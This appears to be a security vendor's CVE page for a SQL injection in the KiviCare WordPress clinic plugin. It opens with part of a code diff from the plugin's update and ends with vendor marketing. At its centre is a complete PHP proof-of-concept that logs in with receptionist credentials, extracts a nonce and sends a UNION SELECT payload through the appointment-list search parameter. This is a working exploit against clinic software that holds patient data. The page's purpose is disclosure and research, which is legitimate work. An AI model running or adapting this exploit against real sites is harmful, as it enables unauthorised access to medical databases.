+                'dependencies' => apply_filters('kc_dashboard_script_dependencies', ['wp-i18n', 'wp-hooks']), // Optional script dependencies. Defaults to empty array.
+                'css-dependencies' => [], // Optional style dependencies. Defaults to empty array.
+                'css-media' => 'all', // Optional.
+                'css-only' => false, // Optional. Set to true to only load style assets in production mode.
+                'in-footer' => false, // Optional. Defaults to false.
+            ]
+        );
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        add_action('admin_footer', function () {
+            echo '<style>
+            #wpcontent, #footer { margin-left: 0px !important;padding-left: 0px !important; }
+            html.wp-toolbar { padding-top: 0px !important; }
+            #adminmenuback, #adminmenuwrap, #wpadminbar, #wpfooter,#adminmenumain, #screen-meta { display: none !important; }
+            #wpcontent .notice { display:none; }
+            </style>';
+        });
+
+        wp_localize_script('kc-dashboard', 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+        ]);
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
+++ b/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
@@ -0,0 +1,458 @@
+<?php
+
+namespace Appadmin;
+
+use AppbaseClassesKCBase;
+use AppbaseClassesKCPermissions;
+use AppmodelsKCOption;
+use function IqonicViteiqonic_enqueue_asset;
+
+defined('ABSPATH') || exit;
+
+/**
+ * KiviCare Dashboard Permalink Handler
+ *
+ * Handles custom dashboard routes for different user roles
+ *
+ * @package KiviCare
+ * @version 3.0.0
+ */
+class KCDashboardPermalinkHandler
+{
+    /**
+     * The single instance of the class.
+     *
+     * @var KCDashboardPermalinkHandler
+     */
+    protected static $instance = null;
+
+    /**
+     * Dashboard routes configuration
+     */
+    private $dashboard_routes = [];
+
+    public function __construct()
+    {
+        add_filter('rewrite_rules_array', [$this, 'add_dashboard_rewrite_rules']);
+        add_filter('query_vars', [$this, 'register_query_vars']);
+        add_filter('template_include', [$this, 'handle_template_include'], 99);
+        add_action('init', [$this, 'add_permalink_tags']);
+
+
+        // Get roles from KCBase and transform into dashboard routes
+        $roles = array_merge(KCBase::get_instance()->KCGetRoles(), [
+            'administrator'
+        ]);
+        $this->dashboard_routes = [];
+
+        $pro_slugs = KCOption::getMultiple([
+            'dashboard_slug_admin',
+            'dashboard_slug_clinic_admin',
+            'dashboard_slug_doctor',
+            'dashboard_slug_receptionist',
+            'dashboard_slug_patient',
+        ]);
+        foreach ($roles as $role) {
+            // Remove 'kiviCare_' prefix and use as both key and value
+            $clean_role = str_replace(KIVI_CARE_PREFIX, '', $role);
+
+            // Map the clean role to pro slug option key
+            $pro_slug_key = match ($clean_role) {
+                'administrator' => 'dashboard_slug_admin',
+                'clinic_admin' => 'dashboard_slug_clinic_admin',
+                'doctor' => 'dashboard_slug_doctor',
+                'receptionist' => 'dashboard_slug_receptionist',
+                'patient' => 'dashboard_slug_patient',
+                default => ''
+            };
+
+            // Use pro slug if available, otherwise use default
+            if (!empty($pro_slug_key) && !empty($pro_slugs[$pro_slug_key])) {
+                $this->dashboard_routes[$role] = $pro_slugs[$pro_slug_key];
+            } else {
+                $this->dashboard_routes[$role] = 'kivicare-' . $clean_role . '-dashboard';
+            }
+        }
+
+    }
+
+    /**
+     * Get singleton instance
+     */
+    public static function instance()
+    {
+        if (is_null(self::$instance)) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    /**
+     * Add dashboard rewrite rules
+     */
+    public function add_dashboard_rewrite_rules($rules)
+    {
+        $roles = array_merge(KCBase::get_instance()->KCGetRoles(), ['administrator']);
+        $dashboard_routes = [];
+        $pro_slugs = KCOption::getMultiple([
+            'dashboard_slug_admin',
+            'dashboard_slug_doctor',
+            'dashboard_slug_receptionist',
+            'dashboard_slug_patient',
+        ]);
+
+        foreach ($roles as $role) {
+            $clean_role = str_replace(KIVI_CARE_PREFIX, '', $role);
+            $pro_slug_key = match ($clean_role) {
+                'clinic_admin', 'administrator' => 'dashboard_slug_admin',
+                'doctor' => 'dashboard_slug_doctor',
+                'receptionist' => 'dashboard_slug_receptionist',
+                'patient' => 'dashboard_slug_patient',
+                default => ''
+            };
+
+            if (!empty($pro_slug_key) && !empty($pro_slugs[$pro_slug_key])) {
+                $dashboard_routes[$role] = $pro_slugs[$pro_slug_key];
+            } else {
+                $dashboard_routes[$role] = 'kivicare-' . $clean_role . '-dashboard';
+            }
+        }
+
+        $new_rules = [];
+        foreach ($dashboard_routes as $route => $slug) {
+            if (empty($slug))
+                continue;
+
+            $new_rules[$slug . '(?:/(.*))?/?$'] = 'index.php?kc_dashboard_type=' . $route . '&kc_dashboard_path=$matches[1]';
+        }
+
+        return $new_rules + $rules; // Prepend our rules
+    }
+
+    /**
+     * Add permalink tags
+     */
+    public function add_permalink_tags()
+    {
+        add_rewrite_tag('%kc_dashboard_type%', '([^&]+)');
+        add_rewrite_tag('%kc_dashboard_action%', '([^&]+)');
+        add_rewrite_tag('%kc_dashboard_path%', '(.+?)');
+    }
+
+    /**
+     * Register custom query variables
+     */
+    public function register_query_vars($vars)
+    {
+        $vars[] = 'kc_dashboard_type';
+        $vars[] = 'kc_dashboard_action';
+        $vars[] = 'kc_dashboard_path';  // Add this new query var
+        return $vars;
+    }
+
+    /**
+     * Handle template include
+     */
+    public function handle_template_include($template)
+    {
+        global $wp, $wp_query;
+
+        $dashboard_type = get_query_var('kc_dashboard_type');
+        $dashboard_action = get_query_var('kc_dashboard_action');
+        $dashboard_path = get_query_var('kc_dashboard_path');  // Get the full path
+
+        // Check if this is a KiviCare dashboard request
+        if (!empty($dashboard_type) && in_array($dashboard_type, array_keys($this->dashboard_routes))) {
+
+            // Verify user permissions for the requested dashboard type
+            if (!$this->verify_dashboard_access($dashboard_type)) {
+                // Redirect to login or show access denied
+                if (!is_user_logged_in()) {
+                    wp_safe_redirect(wp_login_url(home_url($wp->request)));
+                    exit;
+                } else {
+                    wp_die(esc_html__('You do not have sufficient permissions to access this dashboard.', 'kivicare-clinic-management-system'), esc_html__('Access Denied', 'kivicare-clinic-management-system'), ['response' => 403]);
+                }
+            }
+
+            // Set up global variables for the template
+            $GLOBALS['kc_dashboard_type'] = $dashboard_type;
+            $GLOBALS['kc_dashboard_action'] = $dashboard_action;
+            $GLOBALS['kc_dashboard_path'] = $dashboard_path;  // Make path available to template
+            $GLOBALS['kc_current_user_role'] = KCBase::get_instance()->KCGetRoles();
+
+            // Prevent 404
+            $wp_query->is_404 = false;
+            status_header(200);
+
+            // Remove admin bar inline CSS
+            add_filter('show_admin_bar', '__return_false');
+            remove_action('wp_head', '_admin_bar_bump_cb');
+
+            // Enqueue dashboard assets
+            add_action('wp_enqueue_scripts', function () use ($dashboard_type) {
+                global $wp_styles, $wp_scripts;
+
+                $allowed_styles = apply_filters('kc_allowed_styles', ['kc-dashboard-style']);
+                $allowed_scripts = apply_filters('kc_allowed_scripts', ['kc-dashboard-script']);
+
+                foreach ($wp_styles->queue as $handle) {
+                    if (
+                        !in_array($handle, $allowed_styles) &&
+                        strpos($handle, 'wp-') !== 0 &&
+                        strpos($handle, 'media-') !== 0
+                    ) {
+                        wp_dequeue_style($handle);
+                        wp_deregister_style($handle);
+                    }
+                }
+
+                foreach ($wp_scripts->queue as $handle) {
+
+                    if (
+                        !in_array($handle, $allowed_scripts) &&
+                        strpos($handle, 'wp-') !== 0 &&
+                        strpos($handle, 'media-') !== 0
+                    ) {
+                        wp_dequeue_script($handle);
+                        wp_deregister_script($handle);
+                    }
+                }
+
+
+                // Now enqueue only your needed assets
+                $this->enqueue_dashboard_assets($dashboard_type);
+            }, 999); // Priority 999 ensures this runs after everyone else
+
+
+            // Return the KiviCare dashboard template
+            $dashboard_template = KIVI_CARE_DIR . '/templates/html-kc-dashboard.php';
+
+            if (file_exists($dashboard_template)) {
+                add_filter('heartbeat_settings', function ($settings) {
+                    $settings['interval'] = 5; // seconds
+                    return $settings;
+                });
+
+                return $dashboard_template;
+            }
+        }
+
+        return $template;
+    }
+
+    /**
+     * Verify if current user has access to the requested dashboard
+     */
+    private function verify_dashboard_access($dashboard_type)
+    {
+        if (!is_user_logged_in()) {
+            return false;
+        }
+        // Check role-based access
+        return match ($dashboard_type) {
+            'administrator' => current_user_can('administrator') || KCPermissions::has_permission('administrator_dashboard'),
+            KCBase::get_instance()->getClinicAdminRole() => KCPermissions::has_permission('clinic_admin_dashboard'),
+            KCBase::get_instance()->getReceptionistRole() => KCPermissions::has_permission('receptionist_dashboard'),
+            KCBase::get_instance()->getDoctorRole() => KCPermissions::has_permission('doctor_dashboard'),
+            KCBase::get_instance()->getPatientRole() => KCPermissions::has_permission('patient_dashboard'),
+            default => false,
+        };
+    }
+
+    /**
+     * Get current user's KiviCare role
+     */
+    private function get_user_role()
+    {
+        if (!is_user_logged_in()) {
+            return null;
+        }
+
+        $current_user = wp_get_current_user();
+
+        // Check KiviCare specific role first
+        $kc_role = get_user_meta($current_user->ID, 'kivicare_user_role', true);
+        if (!empty($kc_role)) {
+            return $kc_role;
+        }
+
+        // Fallback to WordPress roles
+        if (current_user_can('administrator')) {
+            return 'administrator';
+        }
+
+        // Default role based on capabilities
+        if (KCPermissions::has_permission('clinic_admin_dashboard')) {
+            return 'clinic_admin';
+        } elseif (KCPermissions::has_permission('doctor_dashboard')) {
+            return 'doctor';
+        } elseif (KCPermissions::has_permission('receptionist_dashboard')) {
+            return 'receptionist';
+        } elseif (KCPermissions::has_permission('patient_dashboard')) {
+            return 'patient';
+        }
+
+        return 'patient'; // Default role
+    }
+
+    /**
+     * Enqueue dashboard assets based on dashboard type
+     */
+    private function enqueue_dashboard_assets($dashboard_type)
+    {
+        // Enqueue media uploader
+        wp_enqueue_media();
+
+
+
+        // Use Vite to enqueue the main dashboard script
+        if (function_exists(function: 'IqonicViteiqonic_enqueue_asset')) {
+            iqonic_enqueue_asset(
+                KIVI_CARE_DIR . '/dist',
+                'app/dashboard/main.jsx',
+                [
+                    'handle' => 'kc-dashboard-' . $dashboard_type,
+                    'dependencies' => apply_filters('kc_dashboard_script_dependencies', ['wp-i18n', 'wp-hooks', 'heartbeat']),
+                    'css-dependencies' => [],
+                    'css-media' => 'all',
+                    'css-only' => false,
+                    'in-footer' => false,
+                ]
+            );
+        }
+
+        // Get JED locale data
+        $locale_data_kc = function_exists('kc_get_jed_locale_data') ? kc_get_jed_locale_data('kivicare-clinic-management-system') : [];
+
+        // Prepare dashboard data array
+        $dashboard_data = [
+            'rest_url' => rest_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => defined('KIVI_CARE_PREFIX') ? KIVI_CARE_PREFIX : 'kc_',
+            'loader_image' => (defined('KIVI_CARE_DIR_URI') ? KIVI_CARE_DIR_URI : '') . 'assets/images/loader.gif',
+            'dashboard_type' => $dashboard_type,
+            'user_role' => KCBase::get_instance()->KCGetRoles(),
+            'dashboard_url' => wp_make_link_relative($this->get_dashboard_url($dashboard_type)),
+            'dashboard_uri' => $this->get_dashboard_url($dashboard_type),
+            'api_url' => rest_url('kivicare/v1/'),
+            'admin_url' => KCBase::get_instance()->getLoginUserRole() === 'administrator' ? admin_url() : ''
+        ];
+        // Apply filter to dashboard data
+        $dashboard_data = apply_filters('kivicare_dashboard_data', $dashboard_data);
+
+        // Localize script with dashboard data
+        wp_localize_script('kc-dashboard-' . $dashboard_type, 'kc_frontend', $dashboard_data);
+    }
+
+    /**
+     * Get the menu URL for a specific dashboard type
+     */
+    public function get_menu_kivicare_url($dashboard_type)
+    {
+        $home_url = $this->get_dashboard_url($dashboard_type);
+        $path = isset($_SERVER['REQUEST_URI']) ? wp_parse_url(sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])), PHP_URL_PATH) : '';
+        $segments = explode('/', trim($path, '/'));
+        if (
+            function_exists('kcGetSetupWizardOptions') &&
+            is_array(kcGetSetupWizardOptions()) &&
+            KCBase::get_instance()->getLoginUserRole() === 'administrator' &&
+            !in_array('clinic-setup', $segments)
+        ) {
+            $setupClinicStep = [
+                "getting_started" => 'clinic-setup',
+                "clinic" => 'clinic-setup/basic-info',
+                "clinic_admin" => 'clinic-setup/admin-info',
+            ];
+            $setup_config = kcGetSetupWizardOptions();
+            foreach ($setup_config as $step) {
+                if (isset($step['completed']) && $step['completed'] === false) {
+                    if (isset($setupClinicStep[$step['name']])) {
+                        return $home_url . '/' . $setupClinicStep[$step['name']];
+                    }
+                }
+            }
+        }
+        return $home_url;
+    }
+
+    /**
+     * Get dashboard URL for a specific type with optional path
+     */
+    public function get_dashboard_url($dashboard_type)
+    {
+        $route = $this->dashboard_routes[$dashboard_type] ?? '';
+        if (!$route) {
+            return home_url();
+        }
+
+        $permalink_structure = get_option('permalink_structure');
+
+        if (empty($permalink_structure)) {
+            // Plain permalinks
+            return add_query_arg('kc_dashboard_type', $dashboard_type, home_url('/'));
+        }
+
+        $has_index_php = strpos($permalink_structure, '/index.php') !== false;
+
+        if ($has_index_php) {
+            return home_url('/index.php/' . $route);
+        }
+
+        return home_url('/' . $route);
+    }
+
+
+    /**
+     * Get all dashboard routes
+     */
+    public function get_dashboard_routes()
+    {
+        return $this->dashboard_routes;
+    }
+
+    /**
+     * Check if current request is for a KiviCare dashboard
+     */
+    public function is_dashboard_request()
+    {
+        return !empty(get_query_var('kc_dashboard_type'));
+    }
+
+    /**
+     * Get current dashboard type
+     */
+    public function get_current_dashboard_type()
+    {
+        return get_query_var('kc_dashboard_type');
+    }
+
+    /**
+     * Redirect user to their appropriate dashboard
+     */
+    public function redirect_to_user_dashboard()
+    {
+        $user_role = KCBase::get_instance()->KCGetRoles();
+        $dashboard_url = $this->get_dashboard_url($user_role);
+        if ($dashboard_url) {
+            wp_safe_redirect($dashboard_url);
+            exit;
+        }
+    }
+    /**
+     * Flushes the WordPress rewrite rules.
+     *
+     * This static method accesses the global $wp_rewrite object and calls its
+     * flush_rules() method to regenerate the rewrite rules. This is typically
+     * used when custom permalinks or rewrite rules have been added or modified,
+     * ensuring that WordPress recognizes the changes.
+     *
+     * @return void
+     */
+    public static function flush_rewrite_rules()
+    {
+        global $wp_rewrite;
+        $wp_rewrite->flush_rules(false); // Do not reset permalink structure
+    }
+}
--- a/kivicare-clinic-management-system/app/baseClasses/KCActivate.php
+++ b/kivicare-clinic-management-system/app/baseClasses/KCActivate.php
@@ -2,761 +2,42 @@

 namespace AppbaseClasses;

-use AppcontrollersKCPaymentController;
-use AppmodelsKCAppointment;
-use AppmodelsKCClinic;
-use AppmodelsKCDoctorClinicMapping;
-use AppmodelsKCServiceDoctorMapping;
-use WP_Error;
-use WP_Query;
-use function ClueStreamFilterfun;
-
-
-class KCActivate extends KCBase {
-
-    private $request;
-    private $db;
-
-	public static function activate() {
-
-		// Migrate database and other data...
-		self::migrateDatabase();
-
-		// following function call is only for development purpose remove in production mode.
-		(new self())->migratePermissions();
-//		(new self())->addDefaultPosts();
-		(new self())->addDefaultOptions();
-		(new self())->addDefaultModuleConfig();
-		(new self())->addAdministratorPermission();
-		(new self())->tableAlterFiled();
-        (new self())->createShortcodePage();
-        (new self())->migrateSidebar();
-        (new self())->addNewPosts();
-	}
-	public function init() {
-
-        $version = KIVI_CARE_VERSION;
-        $prefix = KIVI_CARE_PREFIX;
-        $config_options = kc_get_multiple_option("
-        '{$prefix}telemed_enable_added_to_service_table',
-        '{$prefix}doctor_service_duration_column',
-        '{$prefix}new-permissions-migrate{$version}',
-        '{$prefix}permissions-migrate-1.0{$version}',
-        '{$prefix}lang_option',
-        '{$prefix}widgetSetting',
-        '{$prefix}widget_order_list',
-        '{$prefix}local_payment_status',
-        '{$prefix}patient_mapping_table_1',
-        '{$prefix}patient_review_table_1',
-        '{$prefix}patient_mapping_table_1',
-        '{$prefix}service_mapping_new_column',
-        '{$prefix}payment_appointment_table_insert_1',
-        '{$prefix}copyrightText_save',
-        'is_lang_version_2.3.7',
-        'kivicare_version_2_3_0',
-        '{$prefix}logout_redirect',
-        'is_kivicarepro_upgrade_lang',
-        '{$prefix}email_appointment_reminder',
-        '{$prefix}showServiceImageFirst',
-        '{$prefix}tax_table_migrate',
-        '{$prefix}custom_notification_dynamic_keys_update',
-        '{$prefix}custom_form_table',
-        '{$prefix}is_appointment_widget_migrated'
-        ");
-
-		add_action( 'set_logged_in_cookie', function( $logged_in_cookie ){
-			$_COOKIE[LOGGED_IN_COOKIE] = $logged_in_cookie;
-		} );
-
-        //hook call after all plugins loaded
-        add_action( 'init', function (){
-            //translate language
-            load_plugin_textdomain( 'kc-lang', false, dirname( KIVI_CARE_BASE_NAME ) . '/languages' );
-        });
-
-        //security hook
-        add_filter( 'xmlrpc_methods', function ( $methods ) {
-            return array();
-        } );
-
-        //add user_status parameter in get_user function
-		add_action( 'pre_user_query', function ( $query ) {
-			if ( isset( $query->query_vars['user_status'] ) ) {
-				$query->query_where .= " AND user_status = " . (int) $query->query_vars['user_status'];
-			}
-		} );
-
-        add_filter( 'user_search_columns', function( $search_columns ) {
-            $search_columns[] = 'display_name';
-            $search_columns[] = 'user_status';
-            return $search_columns;
-        } );
-
-        add_action('pre_get_posts', array($this, 'wpb_remove_products_from_shop_listing'), 90, 1);
-
-        // Override WooCommerce pay_action for KiviCare
-        add_action('init', array($this, 'override_woocommerce_form_handler'), 20);
-
-        add_action('init',function () use ($config_options){
-            if(empty($config_options[KIVI_CARE_PREFIX.'telemed_enable_added_to_service_table'])){
-                global $wpdb;
-                kcUpdateFields($wpdb->prefix.'kc_service_doctor_mapping',['telemed_service' => 'varchar(10)']);
-                $telemed_id = $wpdb->get_var("SELECT id FROM {$wpdb->prefix}kc_services WHERE LOWER(name) = 'telemed'");
-                $all_service = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}kc_service_doctor_mapping ");
-                foreach ($all_service as $service){
-                    $wpdb->update($wpdb->prefix.'kc_service_doctor_mapping',['telemed_service' => (int)$service->service_id == (int)$telemed_id ? 'yes' : 'no'],['id' => $service->id]);
-                }
-                update_option(KIVI_CARE_PREFIX.'telemed_enable_added_to_service_table','yes');
-            }
-            $this->migrateDoctorServiceTableData();
-            if(empty($config_options[KIVI_CARE_PREFIX.'doctor_service_duration_column'])){
-                global $wpdb;
-                kcUpdateFields($wpdb->prefix.'kc_service_doctor_mapping',['duration' => 'int(5)']);
-                update_option(KIVI_CARE_PREFIX.'doctor_service_duration_column','yes');
-            }
-        });
-
-        add_action('admin_init', function () use ($config_options){
-            $allRole = ['administrator',$this->getPatientRole(),
-                $this->getDoctorRole(),
-                $this->getReceptionistRole(),
-                $this->getClinicAdminRole()];
-
-
-            if (empty($config_options[KIVI_CARE_PREFIX . 'new-permissions-migrate' . KIVI_CARE_VERSION])) {
-
-                $editable_roles = get_editable_roles();
-
-                if(!empty($editable_roles) && is_array($editable_roles)){
-
-                    $editable_roles = array_keys($editable_roles);
-                    $containsSearch = count(array_intersect($allRole, $editable_roles)) === count($allRole);
-
-                    if($containsSearch){
-                     

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25022 - KiviCare <= 3.6.16 - Authenticated (Receptionist+) SQL Injection

<?php
/**
 * Proof of Concept for CVE-2026-25022
 * KiviCare WordPress Plugin SQL Injection Vulnerability
 * Requires valid receptionist or higher credentials
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'receptionist_user';
$password = 'receptionist_pass';

// Step 1: Authenticate and obtain WordPress nonce
function get_wp_nonce($target_url, $username, $password) {
    $login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
    
    // Create a temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_25022_');
    
    // Initialize cURL session for login
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ]);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    // Execute login
    $response = curl_exec($ch);
    
    // Now fetch the admin page to get nonce
    curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'admin.php?page=kivicare', $target_url));
    curl_setopt($ch, CURLOPT_POST, false);
    $admin_page = curl_exec($ch);
    
    // Extract nonce from page (simplified - actual implementation would parse HTML)
    preg_match('/"nonce":"([a-f0-9]+)"/', $admin_page, $matches);
    $nonce = $matches[1] ?? '';
    
    curl_close($ch);
    unlink($cookie_file);
    
    return $nonce;
}

// Step 2: Execute SQL injection
function exploit_sqli($target_url, $nonce) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    
    // Craft malicious payload to extract database version
    $payload = "1' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -";
    
    // Parameters targeting vulnerable appointment list function
    $post_fields = [
        'action' => 'kivicare_get_appointment_list',
        'nonce' => $nonce,
        'search' => $payload,  // SQL injection in search parameter
        'limit' => '10',
        'page' => '1',
        'clinic_id' => '1',
        'doctor_id' => '1'
    ];
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
if ($_SERVER['argc'] > 1) {
    $target_url = $_SERVER['argv'][1];
    if ($_SERVER['argc'] > 3) {
        $username = $_SERVER['argv'][2];
        $password = $_SERVER['argv'][3];
    }
}

echo "[+] Target: $target_urln";
echo "[+] Attempting authentication...n";

$nonce = get_wp_nonce($target_url, $username, $password);

if (empty($nonce)) {
    echo "[-] Failed to obtain authentication noncen";
    exit(1);
}

echo "[+] Obtained nonce: $noncen";
echo "[+] Executing SQL injection...n";

$result = exploit_sqli($target_url, $nonce);

echo "[+] HTTP Response Code: {$result['code']}n";
echo "[+] Response: {$result['response']}n";

// Parse response for database information
if (strpos($result['response'], 'MySQL') !== false || strpos($result['response'], 'MariaDB') !== false) {
    echo "[+] SUCCESS: SQL injection confirmedn";
    echo "[+] Database version information extractedn";
} else {
    echo "[-] Injection may have failed or been patchedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School